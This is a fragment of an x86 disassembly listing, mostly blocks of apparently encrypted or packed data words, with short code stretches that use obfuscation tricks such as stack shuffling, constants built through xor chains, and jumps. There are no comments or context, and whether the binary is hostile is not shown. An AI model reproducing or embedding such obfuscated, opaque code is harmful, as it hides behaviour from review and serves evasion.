		dd 8FC9FB26h, 6644320Ch, 662231ACh, 661EDB15h, 60313215h
		dd 8F443215h, 66223210h, 661135ACh, 0ED2CC115h,	6566E398h
		dd 69EBB713h, 66113490h, 0B73DBB15h, 3F423137h,	0ED44F1ECh
		dd 69D20E13h, 66885791h, 0E69CB815h, 9DA2C2F6h,	0FA953D65h
		dd 5A883215h, 29C03DFCh, 5A223215h, 21953DFEh, 5A883215h
		dd 59C03DD7h, 5A223215h, 51953DDEh, 883215h, 6961CD28h
		dd 66221F91h, 69DB0E15h, 66881791h, 69A70E15h, 66225091h
		dd 482C5415h, 6B0D3DEAh, 0EC443215h, 96063053h,	0E21E9229h
		dd 66883213h, 664BDBEDh, 0D3AB3215h, 601210C4h,	2179AF98h
		dd 0B5BB341Ch, 0ED72F1ECh, 0E3982253h, 608B3484h, 7A82B14Dh
		dd 4A0F8F98h, 65BC3416h, 0CDAC1651h, 4D558F98h,	658F3416h
		dd 36351651h, 0C735BFBEh, 0CB423136h, 4E067616h, 30D26CBEh
		dd 2142AF98h, 0B5BB341Ch, 0FFFF95FCh, 4ECEDFFFh, 4AA86CD2h
		dd 0A2458AFDh, 0C0D5F251h, 0A44C3878h, 2AA8ED96h, 29458A15h
		dd 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh
		dd 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh,	0F2798A15h
		dd 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h
		dd 0D7BA8660h, 88CE2559h, 0F14383B8h, 842D32DCh, 71BA8C1Ch
		dd 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h, 2C5D05E3h
		dd 0DBDF0746h, 0D552A1FFh, 5E0003C6h, 835492B8h, 0A4F305E9h
		dd 31E4CB8Bh, 5DB1DABAh, 2FEB3256h, 5EE114BCh, 113C5250h
		dd 0D3B8766Ah, 63B977DDh, 79F4B951h, 31B575DFh,	1A382213h
		dd 0BAF4B95Ah, 36A175DFh, 0ABA1F09Fh, 0EC34F436h, 0E9833179h
		dd 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 147D17FBh, 0D525FB73h
		dd 0ADFDF53Fh, 917C5B89h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h
		dd 7975FD7Ah, 95987C27h, 0A073F4D2h, 26D387FFh,	83C87D7Ch
		dd 0A4F305E9h, 0BD8DDB8Bh, 609E17Eh, 0FC658D8Dh, 44B80609h
		dd 2B321566h, 2E9C1CFh,	0C8D00731h, 4904C783h, 0FFF2850Fh
		dd 0C08BFFFFh, 1039BD83h, 75000603h, 1DBD8309h,	60311h
		dd 53501974h, 11B8C08Bh, 89000004h, 3239185h, 0F89D8D06h
		dd 0FF0605B0h, 83585BD3h, 3111DBDh, 17740006h, 11B85350h
		dd 89000004h, 3239185h,	999D8D06h, 0FF0605ADh, 8B585BD3h
		dd 0A4F2BBC0h, 8D8D4672h, 609FEDAh, 26958589h, 0B70F0603h
		dd 0D18D89DBh, 6A060331h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 967C352h, 0DE9CA12h
		dd 43000000h, 36981158h, 4D9940E5h, 69DDEA9Fh, 1E185C7h
		dd 6C240603h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 7C01EAC3h, 29D36EE5h, 0BB01A1DBh
		dd 5ECB502Ah, 21BD85C7h, 603h, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B5F23C3h
		dd 562C8B1Fh, 8166C49Dh, 0FFB964C2h, 323C5B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8B819424h, 3206595h,	9195FF06h, 60060326h, 0E901CDBBh
		dd 6A61FC03h, 0B995FF00h, 8B06031Fh, 1F39EBC0h,	0AB09475h
		dd 2B84343Eh, 48616B3Eh, 992FDF89h, 5F65F6C2h, 2286CCDDh
		dd 0FF28EC2Bh, 9E8770B8h, 16E28D32h, 5167D5Ch, 6F3F3B1Ah
		dd 0E8AF35Eh, 13852E07h, 6D3FC9C0h, 8EBh, 0A5900000h, 0B9E96951h
		dd 68000004h, 60A0048h,	0F97E34E9h, 0AA68FFh, 2AE9060Ah
		dd 68FFF97Eh, 60A0224h,	0F97E20E9h, 6B8C6FFFh, 0FE039065h
		dd 487107EAh, 0D8DDB104h, 0AB5021B4h, 0DA904F25h, 75D88C35h
		dd 0F94C00A5h, 6FF2961Bh, 50616788h, 0F159F256h, 15A77104h
		dd 0BC452A56h, 9AE412Ch, 43612C5Bh, 63AA6D27h, 5A5B32FBh
		dd 0AC025732h, 930C1C94h, 0E9770E89h, 31199762h, 7511A163h
		dd 0BA420AD1h, 710BA11Dh, 4C8C4FEBh, 4CD0B5C8h,	95B9FD7Bh
		dd 6A247983h, 30E7693h,	93440000h, 9D726EE1h, 0F3194314h
		dd 4AD1D6BAh, 6C0175EEh, 0E2536489h, 2E4CC3D5h,	0C4B811EFh
		dd 5BD3B46h, 11F06F25h,	0DD6D2D75h, 710BBA44h, 0DCBE2DB8h
		dd 45D0B5D7h, 9C881E2Eh, 6510A468h, 0A91F2B47h,	0A779ABADh
		dd 1EA57630h, 4E98B38h,	0D0462682h
		dd 30585D3Dh, 2550DF55h, 275FEB87h, 9977AC21h, 3ED1B4F2h
		dd 785E01B9h, 250B592Dh, 4F392276h, 45D0D89Bh, 481D9BEFh
		dd 1D4800A5h, 8A2BC2A7h, 0B99D89EBh, 5BB6561Dh,	2DDh, 7A6E8F62h
		dd 0EFFD0697h, 194F741Ah, 89DFE0B4h, 3AAE5324h,	38D98D48h
		dd 0A848DDB3h, 1EFC4107h, 8B62F795h, 5B5F666Ah,	4F056CFh
		dd 591AAA71h, 6AE34701h, 0D6770EF0h, 6F1AA503h,	5E113971h
		dd 0DA750859h, 0FD92730Fh, 6C0D90F4h, 0EDFD0547h, 6FA5CC5Ah
		dd 1A4C6788h, 0BF1F2959h, 27B322Fh, 0F1800000h,	683598CCh
		dd 0D6B80D43h, 422ABF2Dh, 0B55A2FBDh, 2BEA580Ch, 73119A7Fh
		dd 0E7E50AEEh, 157B8012h, 84C8ED80h, 0F46DBDFDh, 487104F0h
		dd 85F03BB8h, 6AF1FA9Fh, 0D0D5B94Ch, 19572DB8h,	8597E31h
		dd 7D6FFA75h, 0B02901BBh, 0C7104F1h, 4ECBE359h,	0DA7104F1h
		dd 1E263266h, 8593634Fh, 11EF10E0h, 1B70Bh, 432AB400h
		dd 0FE4A04A2h, 770EF065h, 0D8B00CDBh, 0B84A45Eh, 3D770EF1h
		dd 5336565Bh, 767B1D70h, 8E47316h, 8959265h, 11FCE9E3h
		dd 0AB493473h, 653B0Fh,	0A1447512h, 0DDA028CDh,	0B3D6B63Bh
		dd 0E2694824h, 0E0C542EAh, 987F710Bh, 7E87517h,	0D4E8EAE2h
		dd 8567FC80h, 12BD4780h, 1C40FC87h, 69A80004h, 2CFF93h
		dd 0F0780000h, 914B6785h, 0F49419FCh, 81331B91h, 0FF7511FFh
		dd 0D7B66068h, 0EC3CB841h, 710BDF6Fh, 455387BDh, 936A413Fh
		dd 0D538h, 432ABB00h, 0B2472AA2h, 93B77109h, 770EF0FAh
		dd 75159346h, 0A82109C3h, 58770EF0h, 305537B8h,	0DADBB211h
		dd 548D7B2h, 9CF14F74h,	994F4F9h, 95034166h, 0F0D64FDBh
		dd 472A770Eh, 54008B1h,	1BEAC2BEh, 59770EF5h, 872CC9B6h
		dd 701B5438h, 5143472h,	3B750C88h, 9E7312ACh, 0CC7EEDDFh
		dd 0CE55FF16h, 9362379Ah, 9765D5FEh, 4A6F7A12h,	1BE62047h
		dd 0DA820458h, 0DC31D9E0h, 101h, 64A6B0Eh, 8BD9E2B3h, 25AB5026h
		dd 553BBC50h, 0C68A2FC0h, 14E5B16Ch, 8414F9EFh,	0FA986D63h
		dd 670E93F1h, 37730246h, 4EE7A13h, 0B536C671h, 618A6C01h
		dd 8A6F6267h, 86626761h, 0E7E50EE3h, 3BB07B12h,	0CE835C19h
		dd 930D432Eh, 3FD871D9h, 0B124770Eh, 6C01B83Bh,	6267618Ah
		dd 0EB0CE386h, 74791CE1h, 8E2C5710h, 0ABA758F0h, 0B6257511h
		dd 878415F8h, 0C99CCCF5h, 0EFB06E62h, 79601901h, 0D4F47037h
		dd 710BC437h, 0C38126C9h, 7810997Eh, 6B4A2FBEh,	877CDF35h
		dd 0D5F2A8Dh, 5EF9DC58h, 4000000h, 4B6785F0h, 56D2D3BAh
		dd 59813018h, 0F5987508h, 0D248025h, 0CCA30E5Eh, 3DD0A52Bh
		dd 4A08D0B8h, 40163091h, 0FE6B8ECh, 8017FAEEh, 0EC806D7Fh
		dd 0DADA81CBh, 9419FCB6h, 0B68A6DF0h, 33E1E5h, 0E820E089h
		dd 0DBC166Fh, 0D9B31ECDh, 29F0BC5Fh, 0AFB40C91h, 3CCD1h
		dd 3770000h, 0A6472A80h, 33B45B26h, 9D26F459h, 6D9266CBh
		dd 0F801967Bh, 476C0D90h, 0D3D4B805h, 0B942D4B9h, 8B1422Fh
		dd 0B0680B40h, 89000007h, 89512414h, 4C181E1h, 81000000h
		dd 4E9h, 240C8700h, 2404895Ch, 2B4C68h,	241C8900h, 8904EC83h
		dd 0C7BB241Ch, 81533F28h, 5A4A3EC3h, 0E3C14B04h, 8E3C105h
		dd 8103E3C1h, 0FA00BBEBh, 5BD8896Ch, 7FAD68h, 24248900h
		dd 4240483h, 4CE2685Bh,	4890000h, 24348124h, 5EA7600Ch
		dd 8108438Fh, 600C0873h, 34FF5EA7h, 0C4835B24h,	24048B04h
		dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0F9798CE9h, 0CE076EFFh
		dd 2CF32840h, 0A034AB8h, 0FFC50306h, 0BDA0ECE0h, 0E5532E55h
		dd 9B5F5C51h, 4C18D50Eh, 0BCB0281Ah, 947FCE24h,	0B2608319h
		dd 0B56C8E4Ah, 106F4C24h, 0C62FF7Dh, 2E2AFC40h,	0DB973A5Bh
		dd 0DB57F00Eh, 3E525B57h, 93C3A942h, 7858CC68h,	60AFB234h
		dd 985E516Fh, 4F57DB1Dh, 0D5E30962h, 0D9BA0E3Fh, 0B767C43Ch
		dd 23090C53h, 96578A47h, 8C16813Ah, 0CE322E35h,	0EDE90Ch
		dd 66600000h, 4A8D88Ch,	0DF840Fh, 0B58B0000h, 60303C1h
		dd 0F00FE83h, 2285h, 3985C600h,	4506032Fh, 72696968h, 59B5FF8Eh
		dd 8D060313h, 673BC85h,	89D0FF06h, 320F185h, 80F08B06h
		dd 850FE93Eh, 31h, 6E5F858Dh, 0D0FF0608h, 2F05BD8Bh, 0C7810603h
		dd 1184h, 3C1B58Bh, 0F7870603h,	8B9h, 8BA4F300h, 303C1B5h
		dd 51858D06h, 0FF06071Bh, 19B58BD0h, 8306031Fh,	850F00FEh
		dd 22h,	2F3985C6h, 68540603h, 0FF4EBEF4h, 1359B5FFh, 858D0603h
		dd 60673BCh, 8589D0FFh,	6031F19h, 3E80F08Bh, 3A850FE9h
		dd 8B000000h, 31F19B5h,	5F858D06h, 0FF06086Eh, 5BD8BD0h
		dd 8106032Fh, 1184C7h, 8C78300h, 1F19B58Bh, 0F7870603h
		dd 8B9h, 8BA4F300h, 31F19B5h, 51858D06h, 0FF06071Bh, 8DC361D0h
		dd 0A045685h, 0B9858906h, 0E806031Bh, 0Ch, 8D055BBCh, 0A752DCEBh
		dd 256D5BE4h, 3732BE66h, 0B257605Ah, 0DF8159C7h, 3B882E0Ch
		dd 0EEC28161h, 68000070h, 0
		dd 815FC38Bh, 0C78401CEh, 1734FF33h, 8159DA8Bh,	8CB943C1h
		dd 9AD38062h, 3F1DF181h, 800F49B0h, 5, 0A4C38166h, 1EF18176h
		dd 0E85FD16Eh, 14h, 5B9EEE38h, 70D7694Fh, 67534BCCh, 18CA6C37h
		dd 960C7097h, 6860Fh, 8E0F0000h, 0
		dd 3A0C895Eh, 81666060h, 0FB19EF0h, 81h, 14E96100h, 38000000h
		dd 34AA450Eh, 2001E6D0h, 0EF1DDA29h, 0B4B3B77Dh, 61CB6A0Ah
		dd 0DE8h, 3EF09700h, 0C354A742h, 12903125h, 9E8EBEBh, 0F4000000h
		dd 9D6859FCh, 0FE88F876h, 5BF7B70Fh, 4EF835Eh, 8110E780h
		dd 0FF9004FFh, 52850FFFh, 0E8FFFFFFh, 11h, 0B25229E8h
		dd 1E7C84A7h, 35411ACBh, 7D32AEBDh, 4EB5B9Ch, 16051C90h
		dd 57EE9h, 1B9C7F00h, 0EE13E075h, 788117FAh, 0C8ED8114h
		dd 5B603184h, 2A80BF35h, 4528BC45h, 0C95C30B5h,	7FC2862Bh
		dd 20711798h, 0EA49C266h, 5B77104h, 71432A66h, 0D6F6FB9Ch
		dd 770EF03Dh, 1F49D483h, 0D24BDF99h, 49770EF0h,	0EF068E1h
		dd 0E01D477h, 0C76B065Bh, 92BF47F8h, 0ED9E7316h, 0E1E4E409h
		dd 0CE3761Ah, 791CE1EBh, 0EC891474h, 1CF1ABC7h,	70157778h
		dd 0E4CBF58h, 1CA17177h, 5306194Ch, 300CB5D5h, 22C3AAECh
		dd 0B039DBAEh, 6AB49DCh, 9617FB46h, 63B78DF6h, 0B658492Bh
		dd 5F22A60Dh, 0C17B37B8h, 0E4CF069h, 23994C77h,	5B38CD4Bh
		dd 0A626C7AEh, 51345423h, 4C55F3DBh, 61D7770Eh,	0AE213B3Dh
		dd 62DE996Ch, 59000000h, 2AA2432Ah, 0F2F7996Ch,	0F0BB5676h
		dd 0B971770Eh, 0D16E50E6h, 837963DEh, 778D6BBFh, 70996CB9h
		dd 1, 58492A83h, 0D27630B5h, 770EF039h,	345D087h, 0B4D4DDBEh
		dd 28A04529h, 0C79FC361h, 4ADF8D36h, 0AA6402A3h, 0EF1059Eh
		dd 0EB3F7B77h, 770EF072h, 0EB8C1BCEh, 66773D0Eh, 93F74D13h
		dd 0BC452AE0h, 69926302h, 0A83DFB93h, 20A527C8h, 4A26CBADh
		dd 3BAD5627h, 2E60B468h, 722CA049h, 0C91CD8A1h,	9E73244h
		dd 4949164h, 11FCE9E3h,	4E2CC177h, 0AB5026A5h, 0A5C8A421h
		dd 0D6902ED3h, 0E03D972h, 34B02777h, 7825C954h,	0C4841394h
		dd 76169B79h, 0AA143804h, 92F1251Bh, 0F4941DF3h, 24281B91h
		dd 0C3996C5Fh, 6Ch, 0BC452A7Ch,	0F2AF412Ch, 94F19B20h
		dd 5AD65F09h, 169B7C36h, 2B0AEF72h, 774CFB25h, 0BD2FBA3Fh
		dd 7C856AFBh, 0E941796Ch, 770E3470h, 0CEA319CCh, 46C78126h
		dd 862BCDA0h, 0D6C2162Ah, 996C8FDEh, 4899h, 452A1A00h
		dd 9B6A2CBCh, 0F396F6F7h, 0AA821075h, 46543BE9h, 9B8D2A6Ah
		dd 770EDC02h, 4C1CEB7Eh, 521438F4h, 235034BDh, 6A0492Ah
		dd 976D9667h, 0CFAC41F7h, 0E07E4E2Ah, 2A770EF0h, 0AEB6A2F6h
		dd 0A9996D51h, 1, 0BF442ACAh, 8AD402Dh,	0A9631B40h, 0EF10881h
		dd 0BE17477h, 0C5ABE337h, 2DEEA83Ch, 0E98EC6FDh, 0AC94BFC0h
		dd 8BF6413Fh, 0CBF5556Dh, 31751169h, 5335BA52h,	5C21AB36h
		dd 0C07A34B9h, 0B69EF68h, 229E4D71h, 9314FB4Eh,	69B651F9h
		dd 0A75B710Bh, 9B7D1073h, 20F79A16h, 7C6C9567h,	69F56EBAh
		dd 9C4B710Bh, 5326AA31h, 0E7513BBCh, 0A122EF34h, 0B141089h
		dd 0D8F96C71h, 0D6A7C814h, 432EBB2Dh, 0C8ED80E5h, 9A6B0380h
		dd 0F297F1F6h, 441E4276h, 93720CB1h, 870028FCh,	0F5710B2Dh
		dd 491D9B66h, 0E1F90CCFh, 0F9EECE7Ah, 2C2C3003h, 512B936Ah
		dd 54000001h, 0F99F85F0h, 934D65F0h, 1E9A1BF2h,	1209100Eh
		dd 91FB6E75h, 44DD6D27h, 0B8710BC8h, 0C8B12AFEh, 580F710Bh
		dd 7B1277CDh, 0EC83167Ah, 593C81CBh, 0AD973454h, 0A94E2179h
		dd 5AF35711h, 0C1710BC8h, 0BC8F069h, 86994C71h,	0F23155D3h
		dd 936A29EAh, 0C171E6B9h, 4E8A5B2h, 44B2A8h, 57080000h
		dd 6C194D88h, 0A6481FBDh, 0A21E4B1Dh, 6686F021h, 0F097E048h
		dd 0D685770Eh, 0F0F56EB6h, 0D4E8770Eh, 1F2BE580h, 770EF086h
		dd 26916FFAh, 68225C5Ch, 74F0F585h, 0EF0EB54h, 0C68A5177h
		dd 0AF03h, 4701B200h, 0EF06AE3h, 0A503D677h, 39716F1Ah
		dd 0B95D6866h, 0AC08DF9Fh, 0BD6C56F2h, 7D27511h, 0F2F39A6Bh
		dd 1971CF9Ah, 88DCE1B4h, 15AD5225h, 4E1EA370h, 25CD9D1Bh
		dd 710B7F35h, 906104B2h, 65A98D6Bh, 91F65506h, 6AFB6D3h
		dd 0B90A922h, 0F5401771h, 9A836A7Fh, 6361CCF5h,	5B713944h
		dd 79EB677h, 0C1C5A21h,	6F04F7CBh, 6BF615C6h, 2B318053h
		dd 0C9E1744Dh, 3FA95224h, 0D3BECEAAh, 0AAD1BB3Ch, 7427468Ah
		dd 33DB3A98h, 6337EDB2h, 0D646DF6Bh, 2FBA7705h,	305BE440h
		dd 0F354F4B2h, 2E74FFD8h, 0C7BFBA6Dh, 8E48EBFh,	0B52EA229h
		dd 4B6785F0h, 0B2D1D6BAh, 0D1B4D4DDh, 0CC0D1D5Bh, 0A07508F2h
		dd 27CE5335h, 0E2D3D74Ch, 0E4E1EB10h, 0DA66E2D3h, 414D54Eh
		dd 0D1BC2B71h, 0DCB3064Ah, 14A72008h, 95157104h, 4151CB5h
		dd 6EF56071h, 2421C983h, 0DC80FB25h, 4BD6B63Bh,	0E74A02A3h
		dd 0EEFBED16h, 9D3D61DFh, 480256EAh, 0F94C00A5h, 6AF79116h
		dd 0A0457D82h, 3B5329D2h, 16287CB0h, 0AD407E7Fh, 384C28CDh
		dd 200BEF7Eh, 0E82A2A49h, 0A3F4431Ch, 983D4074h, 0D0B53314h
		dd 3DD0B83Dh, 3, 2A800340h, 5B26A647h, 0F45933B4h, 66CB9D26h
		dd 967B6D92h, 0D90F801h, 0B805476Ch, 0D4B9D3D4h, 422FB942h
		dd 0B4008B1h, 5E08950h,	4, 4BE56h, 0F0290000h, 2404875Eh
		dd 3EB2685Ch, 0C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		push	57CD5C6Ah
		pop	esi
		xor	esi, 34425EAh
		sub	esi, 109B179Ah
		dec	esi
		sub	esi, 3DE45B90h
		mov	ecx, esi
		pop	esi
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	2BD6h
		mov	[esp], ecx
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5439D9
; ---------------------------------------------------------------------------
		dd 0B892B23Fh, 60A0B38h, 0E0FFC503h, 3FBC686Bh,	7B6F2BB1h
		dd 573403AFh, 5A96EE08h, 2714ADFCh, 76EA40EDh, 40AD8161h
		dd 128AC67Ah, 70801D7Ah, 50E2C2A5h, 4F9DBCB4h, 0B701D4h
		dd 474C7D48h, 822E04EBh, 68E9087Ah, 31000005h, 0BA0F5D62h
		dd 29BCD0D9h, 5B2EA247h, 0CB5E32B3h, 65CF9D26h,	0E60BECBAh
		dd 7A7B1FE2h, 0C8F18316h, 595E3184h, 1C2C6A0Bh,	7104E483h
		dd 2AB437F9h, 6C2AA243h, 9AF2F799h, 7B1C71CFh, 0C4553876h
		dd 97D37AF5h, 0D4A3C018h, 375BD1B4h, 0ED16E489h, 7F12EEFBh
		dd 0C3751798h, 0B5A82109h, 4114770Eh, 0CEEF86EBh, 0B952F6B0h
		dd 79770EB5h, 7DC4719Dh, 0F665BC33h, 0EE8F127Ah, 0CF5A5F3Dh
		dd 0F418149Dh, 9CDADBB2h, 0C88025C9h, 114FB057h, 0B7023479h
		dd 1AEB5539h, 90F57378h, 2CC1F902h, 0A4C8A449h,	618A6BFAh
		dd 0E3866267h, 787D1011h, 5D30D5EDh, 0DF553058h, 0A94E228Fh
		dd 4802B43Fh, 0EC167E0h, 0AA06D577h, 6A084296h,	0D7BE0341h
		dd 0F06EB6D6h, 3A770EC1h, 0F9B3D206h, 0EC1B851h, 0DB510477h
		dd 6D22D4E8h, 9B9399h, 12C0000h, 0F06AE347h, 3D6770Eh
		dd 422DC0A5h, 0C9A195C0h, 997F12BAh, 866D7810h,	6CA33EC6h
		dd 0D169770Eh, 36565B3Ch, 0BDE1D553h, 6CCEA1BBh, 85E99h
		dd 491C0000h, 1F4A02A7h, 5E0122A1h, 442C2E4Fh, 757E1F96h
		dd 0DEB7613h, 0F1DC9B78h, 0E50EE04Bh, 0F115AAD4h, 966B15A0h
		dd 66CDB6AAh, 0F1FA9B66h, 5D620A97h, 31D4820Bh,	7235F64h
		dd 770E6A8Eh, 0B58967F2h, 0E0480261h, 770E6A67h, 0C7AA06D5h
		dd 4ADF8D36h, 646AC8A3h, 0B04F1B7Bh, 14F9A725h,	0C9F28481h
		dd 817F6A62h, 0BC452A02h, 68916302h, 8411FC8Ch,	0FCBE6D7Fh
		dd 2BCCA342h, 0EF068E1h, 0AB01D477h, 660B4397h,	3072255Dh
		dd 0C0425165h, 0B5791236h, 10C7770Eh, 0F65B2F85h, 63CE9E1Fh
		dd 904A648Dh, 0EB51FB8h, 72CE9D77h, 41958B1Ah, 6D115D57h
		dd 8B1A99h, 2AA50000h, 42DB6F45h, 0BE770EF0h, 8A0C5C2Bh
		dd 0F0DF78D0h, 8E5D770Eh, 0AFAF42E9h, 3EBAE531h, 0AC3CC5ABh
		dd 681B4FE5h, 0A021C1B7h, 8AE40183h, 8880D1CFh,	2045233Bh
		dd 5326AA4Fh, 0C942E6BEh, 37770E2Ch, 2EB3D5A0h,	6409A146h
		dd 6C791394h, 9129F890h, 2CDA73D7h, 7926770Eh, 26928B6Fh
		dd 7EFA416Fh, 0A02163Ah, 0E5996D00h, 34h, 0BC452A16h, 0EB3412Ch
		dd 9821F35Eh, 6B906DF0h, 5084B861h, 163AF6E6h, 5236BB5Ch
		dd 0A0492A21h, 0F0820028h, 9084770Eh, 5250544Ch, 10F996Dh
		dd 0A8000000h, 2DBF442Ah, 6E08AD40h, 0F0FB94B4h, 6D0D770Eh
		dd 4A450048h, 249219Fh,	0DFE4B558h, 585CD88Dh, 179C7234h
		dd 0AD4B3671h, 0B3515h,	0EA717512h, 77781FE2h, 0C4E98C11h
		dd 0DFE17C84h, 0CA06710Bh, 8429CC86h, 9E761BEAh, 0BE0118Ah
		dd 6DF86F71h, 8CC12B4Ch, 4B21558Ah, 3ABB5227h, 8728CF52h
		dd 0F3A446C5h, 0A2FFE696h, 991EF12Ah, 5E82B632h, 3CD5752Fh
		dd 80710BE0h, 630A5FD5h, 47D2D3BAh, 41DAE201h, 6E95936Ah
		dd 26000001h, 0C6675E01h, 345D844h, 716F1AA5h, 48F31139h
		dd 9A417511h, 67886FF2h, 0F4F99C61h, 41660994h,	0EA177629h
		dd 3D01D474h, 0CAEF0844h, 0FB71C736h, 0D80C3093h, 0B237D8ADh
		dd 5C318FDAh, 8728CCB9h, 573580C5h, 4C7104E9h, 6541831Ch
		dd 0E81941A0h, 889CA71Dh, 47936A50h, 43h, 9E86F0F0h, 5BA4F5FAh
		dd 29114CF1h, 95B5CD58h, 770E0F2Ch, 732D4510h, 0E0E3ED7h
		dd 59D78277h, 0E70E931h, 576F770Eh, 1AE79103h, 0E0E950Eh
		dd 917CEB77h, 0F0871D9h, 0E174770Eh, 0CF6EE3h, 0F0950000h
		dd 914B6785h, 0F0DA73D7h, 0B326770Eh, 1773EAEEh, 1C98DDF3h
		dd 11E6420Ch, 15AD3875h, 711B9C70h, 46F09814h, 4F5A595h
		dd 8563B938h, 7E100DE0h, 7BC6EB8Dh, 0FBE97411h,	6E7E7F16h
		dd 0B9CD6C6h, 4C710471h, 24E1B11Ch, 87C1AC51h, 4AF41804h
		dd 0DB8ADE12h, 9C900921h, 0B3EC710Bh, 0FE9255F3h, 6D329978h
		dd 29ADF84Ch, 4326825Eh, 2A450BACh, 6F29415Fh, 7AC639ACh
		dd 0A40032A9h, 5C3F984h, 98F0676Fh, 255D6235h, 0CB46DF6Bh
		dd 0D7BA7705h, 55D3BE3Fh, 22764E35h, 0DDCAA243h, 4D2BB63Bh
		dd 611997E2h, 81CBEC8Ch, 1A2E68C4h, 74FFC76Fh, 9FCCD8Eh
		dd 95C632FDh, 23991EF6h, 4A1B5702h, 0C5651DA2h,	710BB74Ch
		dd 3B4F25B0h, 0AD85F0B8h, 89AA77CFh, 1D55209Dh,	88D820Dh
		dd 616BFE75h, 90F4F99Ch, 3456A0Dh, 552AE0FBh, 0A8FC3077h
		dd 0EAFEFF96h, 1D4F7007h, 6B0CE19Bh, 30CD4646h,	0A4336E94h
		dd 2CD1A5C8h, 0A9FD37BCh, 0EBF9FE91h, 1E4E6F06h, 0CC3h
		dd 99E4B700h, 0B0D0AEEh, 343C0BCh, 0A6472A80h, 33B45B26h
		dd 9D26F459h, 6D9266CBh, 0F801967Bh, 476C0D90h,	0D3D4B805h
		dd 0B942D4B9h, 8B1422Fh, 89570B40h, 4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 241C895Ch, 306668h,	241C8900h, 81E18951h
		dd 4C1h, 4E98300h, 5C240C87h, 51243C89h, 0A0C1BB9h, 595B5106h
		dd 243C8B54h, 4C481h, 0B8500000h, 8, 7501005h, 2DF80134h
		dd 34075010h, 0FF581889h, 835F2434h, 34FF04C4h,	0C4815B24h
		dd 4, 0F96BECE9h, 793D40FFh, 0BEC9319Ch, 0B8EF5C48h, 60A110Ah
		dd 0E0FFC503h, 4C5710C4h, 485F6461h, 517F8F33h,	16681AE8h
		dd 19E547B6h, 0C485FC4h, 22C2F1F4h, 6DD4198Ch, 12478D8Dh
		dd 8D89060Ah, 60331D1h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 49C35545h, 0F18B66F7h, 1E185C7h, 6C800603h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0D99C61C3h, 84A42B3Ah, 0E99D641Bh, 0Ch, 0D0F7A54Fh
		dd 8DBC41C3h, 74A859BCh, 21BD85C7h, 603h, 9D0B0000h, 6030951h
		dd 625B5FFh, 9D890603h,	6031B85h, 269195FFh, 958B0603h
		dd 6032FE1h, 95FF006Ah,	6031FB9h, 0DEBC08Bh, 7FE905EFh
		dd 0D36B60E2h, 8A9059D4h, 0CE04EB2Dh, 0E93BE5FAh, 0CAAh
		dd 0A13F768h, 6AF7E906h, 3468FFF9h, 0E9060A15h,	0FFF96AEDh
		dd 0A173268h, 6AE3E906h, 2768FFF9h, 0E9060A18h,	0FFF96AD9h
		dd 0A1B0F68h, 6ACFE906h, 6D68FFF9h, 0E9060A1Ch,	0FFF96AC5h
		dd 0A1D9B68h, 6ABBE906h, 0F180FFF9h, 683598CCh,	0D6B80D43h
		dd 422ABF2Dh, 0B55A2FBDh, 2BEA580Ch, 73119A7Fh,	0E7E50AEEh
		dd 157B8012h, 84C8ED80h, 0F46DBDFDh, 487104DEh,	432A3BB8h
		dd 996C2AA2h, 1578F4F9h, 866B7D82h, 596237F4h, 0D3D19AF2h
		dd 9F20F78Fh, 476C02E3h, 80E44005h, 31575C3Dh, 0E47DCD87h
		dd 58770EF0h, 0B73CDE8Dh, 0C4C15439h, 1DA67730h, 0D9B31E4Bh
		dd 0DAA7218Ch, 91DEB233h, 0A0B102E6h, 6235DB32h, 4C21DB97h
		dd 3B7001AAh, 5DF45C44h, 0DBB19917h, 59751138h,	9532DAB2h
		dd 93710B18h, 657F79ADh, 62936976h, 34h, 6785F09Dh, 0FF4DFF4Bh
		dd 14C37511h, 0DDE68B5Ah, 0A62DE8Bh, 0BDF65E2h,	6607A371h
		dd 0F8506E8Fh, 710BDF5Fh, 8EB20EDDh, 41465E5Ah,	0B401936Ah
		dd 0B2000000h, 6B8C6C01h, 0E5886461h, 3DFBED12h, 0AFD7429Ah
		dd 1FF5F74h, 66668B6Ch,	99F3F49Bh, 0D2A46134h, 0FE0E4229h
		dd 770E510Eh, 4004A94Ch, 0F3951AFDh, 8F2BC9B4h,	5F6030D5h
		dd 26BF8B0Dh, 9A770E50h, 0A48460CFh, 7511613Ah,	0A91775E0h
		dd 0E32886F6h, 0A9073BA4h, 3D75731Eh, 8BDDFEDh,	0F08E5D6Fh
		dd 11777C1Dh, 0AFC6EB8Ch, 0E6D91988h, 61A0BD4Dh, 0DD00000Ah
		dd 462BB93Eh, 0F5580CB5h, 67CA9E23h, 977A6E8Fh,	19EBF902h
		dd 0C2E788DEh, 56573B8Eh, 24CDAF32h, 0B53ADDA0h, 20088ED7h
		dd 7104DDA7h, 2A806315h, 6E28BC45h, 95F7F89Fh, 7E1174F0h
